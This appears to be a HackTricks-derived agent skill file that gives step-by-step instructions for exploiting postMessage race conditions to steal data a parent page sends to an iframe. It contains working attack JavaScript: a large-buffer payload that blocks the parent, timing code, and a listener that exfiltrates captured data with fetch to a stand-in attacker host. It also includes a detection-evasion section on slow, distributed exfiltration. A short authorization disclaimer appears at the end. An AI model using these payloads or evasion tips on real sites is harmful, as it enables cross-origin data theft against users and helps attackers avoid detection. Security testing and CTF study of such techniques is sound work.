Hacktricks-skills postmessage-race-condition-exploit
How to exploit postMessage vulnerabilities using race conditions to steal sensitive data from parent pages. Use this skill whenever the user mentions postMessage, iframe exploitation, cross-origin communication vulnerabilities, race conditions in web security, stealing data from parent windows, or any scenario where an iframe needs to intercept messages before the parent page processes them. This is especially useful for CTF challenges, bug bounties, or security assessments involving blob documents, isolated iframes, or message-passing between windows.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage/SKILL.MDPostMessage Race Condition Exploitation
This skill teaches you how to exploit timing vulnerabilities in postMessage communication by keeping the parent page busy while your iframe payload executes.
The Core Concept
When a parent page creates an iframe and sends sensitive data via
postMessage after the iframe loads, there's a window of opportunity. If you can:
- Let the parent create the iframe (don't prevent it)
- Keep the parent busy right after iframe creation
- Execute your payload in the iframe while parent is blocked
- Listen for the postMessage that arrives after parent unblocks
You can steal data that the parent intended to send securely.
Why This Works
Blob documents created from null origins are isolated for security. However, if you maintain the parent page in a busy state, the iframe page continues executing. The parent will send the postMessage with sensitive data (like a flag) after the iframe loads, but if your payload is already listening, you can intercept it.
Step-by-Step Exploitation
Step 1: Identify the Vulnerable Pattern
Look for parent pages that:
- Create iframes dynamically
- Listen for postMessage events
- Send sensitive data after receiving confirmation
Example vulnerable code:
window.addEventListener("message", (e) => { if (e.data == "blob loaded") { // Sends sensitive data here sendFlagToIframe(); } })
Step 2: Find an Async Action to Block
You need to find an async action the parent executes that you can slow down. Common targets:
- Large data comparisons: Send a big integer that gets converted to string
- Heavy computations: Trigger expensive operations
- Network requests: Slow down with large payloads
Example blocking payload:
const buffer = new Uint8Array(1e7); // 10MB buffer win?.postMessage(buffer, '*', [buffer.buffer]);
This works because the parent's comparison
e.data == "blob loaded" will convert the large buffer to a string, taking significant time.
Step 3: Time Your Payload Precisely
You need to send the blocking postMessage just after the iframe is created but before it's ready to receive data. Use
setTimeout with millisecond precision:
// Adjust the timeout based on the parent's timing setTimeout(() => { // Send blocking payload to parent parent.postMessage(blockingData, '*'); }, 50); // Tune this value
Step 4: Set Up Your Listener in the Iframe
Your iframe payload should immediately set up a message listener:
window.addEventListener('message', (e) => { // Check if this is the sensitive data if (e.data && e.data.includes('flag')) { // Exfiltrate the data fetch('https://your-attacker.com/steal?data=' + encodeURIComponent(e.data)); } });
Step 5: Complete Attack Flow
// In your iframe payload // 1. Set up listener immediately window.addEventListener('message', (e) => { if (e.data && typeof e.data === 'string' && e.data.length > 10) { // Likely the flag or sensitive data exfiltrate(e.data); } }); // 2. Block the parent after a short delay setTimeout(() => { const buffer = new Uint8Array(1e7); window.parent.postMessage(buffer, '*', [buffer.buffer]); }, 100); // 3. Signal that iframe is loaded (if required) setTimeout(() => { window.parent.postMessage('blob loaded', '*'); }, 200);
Timing Considerations
The exact timing depends on:
- Parent page load time: How long until it creates the iframe
- Parent's message handler: How quickly it processes messages
- Network conditions: Affects when data arrives
Debugging tip: Add console logs with timestamps to measure the window:
console.log('Iframe loaded:', Date.now()); // ... after receiving message console.log('Message received:', Date.now());
Common Scenarios
Scenario 1: Blob Document Preview
Parent creates a blob iframe to preview a document, then sends the document content via postMessage.
Exploitation:
- Send large buffer to block parent's message handler
- Listen for the document content in your iframe
- Exfiltrate before parent unblocks
Scenario 2: Modal Preview Systems
Parent listens for "blob loaded" to show a modal with sensitive data.
Exploitation:
- Block the comparison
e.data == "blob loaded" - Your iframe receives the modal data before parent processes it
Scenario 3: Cross-Origin Data Sharing
Parent shares data across origins via postMessage after iframe confirmation.
Exploitation:
- Race the confirmation message
- Intercept data in transit
Detection Evasion
To avoid detection:
- Use realistic timing: Don't block for too long
- Match expected messages: Send the confirmation the parent expects
- Avoid obvious exfiltration: Use slow, distributed exfiltration
Testing Checklist
Before attempting exploitation:
- Can you inject JavaScript into the iframe?
- Does the parent use postMessage for sensitive data?
- Is there a timing window between iframe creation and message sending?
- Can you identify an async action to block?
- Do you have an exfiltration endpoint?
Legal and Ethical Considerations
Only use this technique:
- On systems you own or have explicit permission to test
- In CTF challenges and authorized bug bounty programs
- For educational purposes in controlled environments
Never exploit this vulnerability on systems without authorization.
References
- Terjanq Writeup - Original technique documentation
- MDN Web Docs: postMessage API
- OWASP: Cross-Origin Message Injection